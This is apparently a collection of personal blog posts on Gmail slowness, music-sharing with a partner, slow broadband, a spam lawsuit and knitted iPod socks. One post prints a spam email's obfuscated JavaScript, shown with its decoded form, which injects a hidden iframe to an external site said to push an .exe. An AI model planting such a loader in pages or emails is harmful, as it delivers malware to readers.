Gmail, for the last month or two, has started running like a one-legged dog. It no longer runs - it staggers. Sometimes, if I'm lucky, it crawls. There appears to be a permanently unresponsive script running which kills it, no matter which browser I use.

Anyone suffering this? A friend of mine suggested that the problem could be GoogleTalk. I'd be perfectly happy to turn GoogleTalk off... if only I could find out how. Can't see a thing in my settings that could be mistaken for an 'off' button.

UPDATE: Anu tells me in the comments that it's at the bottom of the page 'standard without chat'. Dunno why they couldn't have that in the 'settings' tab too, which is the most logical place to look! I now have Gmail running without my chat enabled and will see if that solves the problem.

It is, though, really slowing me down. Not to mention driving me up the wall. Even typing an email is now a real pain in the ass, as the browser just becomes completely unresponsive.

It's as bad as Outlook.

Grr.

Oh, and first person to say 'Serves you right for using Gmail' gets a kick in the shins.

T'Other and I have been living together for nearly three months now, and our single, shared neuron is as happy as ever. We find ourselves in agreement more often than not, but one thing that causes regular contention is the music we play. Music is really important for both of us, but our tastes are really quite different. T'Other loves alt country, female singer-songwriters and jazz. I think alt country is proof that Satan exists, female singer-songwriters are generally tedious dross, and as for jazz... well, my ex-bass teacher and bassist extraordinaire Rob Burns* put it best when he repeated the old joke 'One bad note is a mistake; two bad notes is jazz'.

Trouble is, I am a fickle thing, and my tastes are not subject to simple rules like 'never play alt country, female singer-songwriters, or jazz'. Ok, 'never play alt country' works, but I'm not quite so absolute about the others. I like, for example, a Dido song. Just the one, mind. And I like a Nelly Furtado song. And I've been known to like the occasional PJ Harvey or Tori Amos song. It's just that a full album of them makes me want to stab people. And some female vocalists, even if not singer-songwriters, grate like fingers on a blackboard. That woman from Fairground Attraction, for example. T'Other played that album the other night as we were supposedly dropping off to sleep, but it gave me a headache and made me feel cross and grumpy. I had to nicely ask him to turn it off, because if I'd heard one more second of that whiney voice I would have lost it completely.

I'm sure that there are songs I play that aren't high up on T'Other's list of fun things to listen to either. I'm pretty sure, for example, that he's being polite when he lets me play Duran Duran. But if I'm honest, his tolerance for my music far outstrips my tolerance for his. (Moi? Dictatorial? Nooooo...)

So we are going through that long and tricky process of negotiating a shared playlist through trial and error. I'll play something, say Jeff Hanson, and he'll say whether or not he likes it. After, of course, half an hour of 'Is this really a bloke? You're kidding me, right? That's actually a man singing that?'. Or he'll play something and I'll politely ask him to stop. Now. Please.

How much easier would it be if we had some way of mediating that negotiation through technology. iTunes is a heap of crap in so many ways, but it has sadly become our default music player. Maybe there are other better ones - if there are, please tell me. But what I want to be able to do is to go through T'Other's music and give it a Suw Rating: 1 - 5 or Veto. So a 1 star rating is 'I'll listen to this, but I don't really think it's that great', a 5 star rating is 'I love this!', and a Veto rating is 'Never, ever play this whilst I am in the room. Not if you want to live.'

Then T'Other will go through my music and do the same. Then when I'm looking at my music, I can see at a glance what he likes and what he doesn't.

Of course, the fun part would be if we could both rate both each other's music and our own, at the same time. You'd have two sets of ratings then, and could choose to play music based on, say, 'Both T'Other and Suw rate this as a 5 star track', which would pull out the music that both of us love. Jack Johnson, for example, or Paolo Conte.

The veto option is an important one. A zero star rating is not the same as a veto, in my book. You need a mechanism which says 'I hate this, please, never play it again', and without that you end up with nebulous meaning at the bottom of the ratings scale. Does no star mean that it hasn't been rated yet, or it's been rated as shite? You have to have a way to definitively exclude stuff, otherwise the whole thing falls down and I end up listening to jazz and then my ears start bleeding and T'Other spends the rest of his life riddled with guilt at inflicting such pain on the woman he loves.

I'd also like to be able to tag music too. 'Summery'. Or 'Get yo ass movin''. Or 'Takes me back to my childhood'. Whatever. iTunes lets you pass comment on your music, but that's not a tag. And you can't do complex Boolean searches either. I want to be able to say "Show me only music that's rated 5 stars for both T'Other and Suw, which is tagged 'summery' or 'up' or 'dancey' and which was recorded after 1995". I want it to show me related tags like Technorati does for blog posts. I want it to break out of this stupid genre thing and start getting all synaesthetic. How does music look? How does it feel? What colour is it?

Between us, T'Other and I have a quite a bit of music - although not as much as some of my friends - but despite music being easier and easier to digitise, music players don't seem to be making it easier and easier to organise. They think 'organisation' means 'putting the right ID tags on each track'. Duh.

What I wanna know: What Web 2.Oh Dear apps are there for organising music? Last.fm is great for sharing playlists online, but I want something with their ethic and imagination that plays the stuff on our hard drives. I'm bored of making playlists. I'm bored of listening album by album. I'm bored of battling with the heap of shit that is iTunes. I want my music to dance to my tune.

Music isn't linear anymore. You don't put the record on the deck and play side 1 before turning it over to play side 2 anymore. CD track listings are nothing more than a serving suggestion. Genre is dead. There is no reason why my music has to be closeted away in one genre - it can be rock and pop. Hell, it can be rock, pop, indie, upbeat, cool, retro, Summer of 04, and orange with purple polkadots all at once, if I want it to be. It can be anything I want.

Except it can't. Because iTunes is shit.


* Rob wrote and performed the bassline on the theme to Blackadder. How cool is that?

So T`Other`s brother (ooh! that rhymes!) has this really great PDA/phone called a QTEK 9100 or an XDA mini S depending on who`s selling it to you. I've been thinking of getting one of these for a while and now I'm getting to play with one and I have to say that so far I really like it. This blog post is being written using IE and the old fashioned admin pages, and it's working just fine over our wifi network. Nice! I might just have to go get myself one of these.

I'd forgotten what it was like. No, really. I'd totally forgotten.

You click a link.

You wait.

The browser pane goes white.

You wait.

You wait.

You wait.

The title comes up at the top of the window. The progress bar has hardly moved.

You wait.

Skeletons of graphics appear, outlining where the images will eventually be. If you're lucky, the alt text tells you what's coming.

You wait.

Slowly, slowly, the page fills in.

You wait.

At last, it is done.

My god, the pain. I'll never accuse a 10 second page load of being slow ever again. When it takes 5 - 10 minutes to load a page, now that's slow.

It took me over 45 minutes to order broadband. Partly, this was Virgin.net's dire site design, which has you going round and round and round in circles before you finally reach escape velocity and it spits you out one some random page that may or may not be the one you want. (It took me half an hour to find the page in their customer service section that told me what the phone number for dial-up was, and that was on a proper broadband connection at Stanhope.)

According to all the line checks, we are hooked up to a shitty exchange that couldn't poop its way out of a wet paper bag. Our connection speed is likely to be 512kbps, possibly hitting 1mbps on a good day going downhill with the wind behind it.

Allegedly, our exchange is going to be upgraded in April 2006, but I will believe it when I see it. At that point, we are promised by a number of providers that speeds of 'up to 8mbps' will be available. I'll believe that when I see it too.

How on earth can this be, in this day and age, and in London? I mean, come on. Bustling metropolis. Nine million inhabitants. How can the telecommunications infrastructure be so shite as to put the existence of decent speed broadband in doubt? It's not like I'm living in Nowhereton-cum-Shitesham in rural Dorsetshire. I'm in Zone Two, ffs. Sheesh.

Also, what is it with dial-up these days? When my modem attempts to connect (and my god, I'm glad I still have an old-fashioned modem in my iBook), I have to pick up the phone and dial a number, then when it rings I click 'OK' on the dialogue box and put the phone down again. What a monumental pain in the arse.

If we're lucky, at some point within the next two weeks we shall have our pathetic excuse of a broadband connection up and running. Until then, I eschew all forms of internet communications during non-work hours. You want me? Call me.

Right, I'm off to go read one of those funny flappy things with words in...

Why don't computers do stenography? Sitting in the Houses of Parliament today, watching the stenographer effortlessly record every word, verbatim, whilst I hurriedly tried to take notes the hard way made me feel deeply inadequate. Why can't I do some sort of chording on a computer? Why can't it tell that if I hit the C and H keys together, that they should be 'CH', or that 'T' and 'H' is likely to be a 'TH' unless in a combination with a G in which case its likely to be a 'GHT'. It seems pretty damn simple to me. Sort of like T9. Certainly it might take some training to get used to, but my god, it'd make me a faster typist.

Then I could take really insanely and freakily accurate notes.

Good to hear that a spammer has been successfully sued here in the UK, via the small claims court. Ben Laurie is going to write a 'How To', and then we can all join in the fun. The sums of money involved are small, with the spammer paying only £270 in damages to Nigel Roberts who brought the case, but this means that the cost of bringing the case is kept low too.

Three years ago the EU passed an anti-spam law, the directive on privacy and telecommunications, which gave individuals the right to fight the growing tide of unwanted e-mail by allowing them to claim damages.

Mr Roberts received unwanted e-mail adverts for a contract car firm and a fax broadcasting business and decided to take action against the company.

The company filed an acknowledgement of the claim at Colchester County Court but did not defend it and a judge ruled in favour of Mr Roberts.

In an out-of-court agreement Media Logistics agreed to pay Mr Roberts damages of £270 plus his £30 filing fee.

Mr Roberts said he had limited his claim to a maximum of £300 in order to qualify to file it as a small claim.

Now, with a bit of co-ordination, a large group of people bringing small claims cases to court against the same spammers might be enough to put some of them out of business. After all, they only do it because it makes them money. If we can cost them money, we're on to something.

You might remember a while back that I blogged about my Mum knitting me iPod socks with a little pocket. Well, since then I bought a pair of earphones with a remote control and the whole thing, remote and earbuds, won't fit in the pocket. So Mum knitted me one with two pockets which does the job just nicely.



I'm not the only one to love my iPod sock either. Mum's had a steady trickle of orders in through eBay and people seem to really love what she's doing. So now she's put up her own website, and is doing all sorts of colours and styles. She even does a really fluffy one with 'Eskimo' wool and is looking into doing one in Kevlar. She did get a reel of bonded Kevlar, but unfortunately it's impossible to knit with, and the supplier doesn't seem to be able to get their head round the concept of sending a reel of unbonded thread. If you have any ideas for other exotic threads she might use, let me know.

OK, so we really need to get broadband set up at home so that I can leave the office at a decent time and not sit here all on my ownsome just so I can chat to people on AIM. Any suggestions as to what broadband providers are half-decent? Would ideally like something that didn't bind us to a contract, if poss.

And before the deadline too. Yay!

Also, publisher now preparing contract. Yay! Yay again! (Note: Not out of the woods yet, mind you. It ain't over til the fat lady bogsnorkels.)

I just opened up my email this morning, after someone rang my mobile long enough to wake me (after a *really* bad night's sleep) but not long enough for me to get downstairs and answer (bastards) and was assaulted by two simultaneously playing 'news' reports.

Searched through my open apps - nothing should be making a sound. Searched through my open Firefox tabs - nope, nothing there either. Eventually closed Firefox and the nasty noise went away.

Thing is... there was a spam email in my inbox. I hadn't opened it. I can spot spam a mile off and it gets deleted on sight. But it was from 'news@capitalex.com' and had the subject 'news', so I figured that might be the perpetrator.

A closer looks reveals this code:

<Script Language='Javascript'>

<!--

document.write(unescape('
%3C%49%46%52%41%4D%45%20%77%69%64%74%68%3D%22%31%22%
20%68%65%69%67%68%74%3D%22%31%22%20%53%52%43%3D%22%68%
74%74%70%3A%2F%2F%77%77%77%2E%70%72%6F%66%6F%72%65%78%
74%72%61%64%65%2E%63%6F%6D%2F%69%6D%61%67%65%73%2F%6E%
65%77%65%78%2E%68%74%6D%6C%22%20%66%72%61%6D%65%42%6F%
72%64%65%72%3D%22%31%22%20%0D%0A%0D%0A%73%63%72%6F%6C%
6C%69%6E%67%3D%22%6E%6F%22%3E%3C%2F%49%46%52%41%4D%45%3E'));

//-->

</Script>

Which decodes to this:

<IFRAME width="1" height="1" SRC="http://www.proforextrade.com/images/newex.html" frameBorder="1" scrolling="no"></IFRAME>

I've removed the link, but that page then spawns a shed load of crap, including an .exe.

This is an obvious security flaw, and I've reported it to Gmail, so hopefully they'll take action immediately.

If anyone wants the email w. headers, let me know.

This iPod mini sock is just soooo cool. Gives me the warm and fuzzies to think that someone's taken Mum's knitting pattern and adapted it for themselves.

A few months ago I asked my Mum to knit me an iPod sock, because I couldn't stand the thought of shelling out over 20 quid for some thin piece of junk from Apple. Whilst she was experimenting, I suggested that she add in a pocket, for the earphones, because there's nothing worse than losing your earphones.

The iPod sock she came up with was great, so great that the gadget-meister himself, Philip Torrone, drooled with desire when I showed it to him. He even mentioned it at Gnomedex.



I'm delighted to announce that now you can get your own hand-crafted iPod sock with pocket, either by knitting one yourself (instructions courtesy of my Mum), or by ordering one through PayPal (see below).



DIY Instructions!
If you'd like to knit your own, these are the instructions. (Don't ask me if it doesn't make sense - I can't knit to save my life.)

Pocket
Using 3mm needles and double knitting wool, cast on 16 stitches and knit stocking stitch for 3 inches. Put stitches onto spare needle.

Main part
Using 3mm needles and double knitting wool, cast on 40 stitches and knit double 2x2 rib for 3 inches, ending with the wrong side facing.
Next row, knit rib for 22 stitches, cast off 16 stitches, and P2.
Next row, K2 transfer 16 stitches from spare needle and knit rib 2x2 across all stitches until it measures 4 inches.

Change to 2 1/4mm needles and rib 2x2 in the same or contrasting wool for a further 2 inches and cast off.

Turn over top 2 inches in half and sew down. Sew along side and bottom securely to finish.

Any problems, let me know and I'll ask my Mum.

Or get my Mum to knit you one!

iPod socks, knitting patterns

Just installed a Bitty Browser in my right-hand sidebar there, picking up all Furled items tagged with 'digital rights'. Scott Matthews showed me Bitty Browser a while back, and I meant to blog it then, but now he's tidied it up a bit and added some extra features and that makes it even more bloggable.

Let me know what you think of it - would be interested to hear your opinions.

Mac Dashboard widgets are way cool. Coolest of all so far is the XFM radio widget, which means I can easily listen to XFM without having to bother with their website. Thank you 'Jute', and the BBC peeps who created the BBC radio widget this is based on, which I also have installed. Wonderful.

I have to admit, I like the look of Apple's new Mighty Mouse:

Innovative Scroll Ball and Button
Perfectly positioned to roll smoothly under just one finger, Mighty Mouse's Scroll Ball offers full 360-degree scrolling capability — up/down, left/right and diagonally. You can scroll long web pages, pan full-size images, maneuver around large spreadsheets, control a video timeline and more. And you can even click the Scroll Ball to access your favorite Tiger features such as Dashboard, Spotlight or Exposé.

Touch-Sensitive Top Shell
It looks and feels like a sleek one-button mouse, but Mighty Mouse's smooth top shell hides a powerful secret: touch-sensitive technology under the shell detects which part of the mouse you're clicking, so you can both left-click and right-click. And if you prefer the simplicity of a classic one-button mouse, Mighty Mouse is up to the task. Just use the Mac OS X Tiger system preference panel to configure it how you want.

Force-Sensing Side Buttons
When you give Mighty Mouse a squeeze, force sensors on either side can be configured to activate Tiger features such as Dashboard, Exposé or a whole host of other customizable features.

I'd be smitten by the thing, if only it wasn't a USB-tailed mouse. If it was a Bluetooth driven hamster, I'd be up to the Apple store like a shot, but as it is... nah, I don't want another cord attached to my iBook, cheers.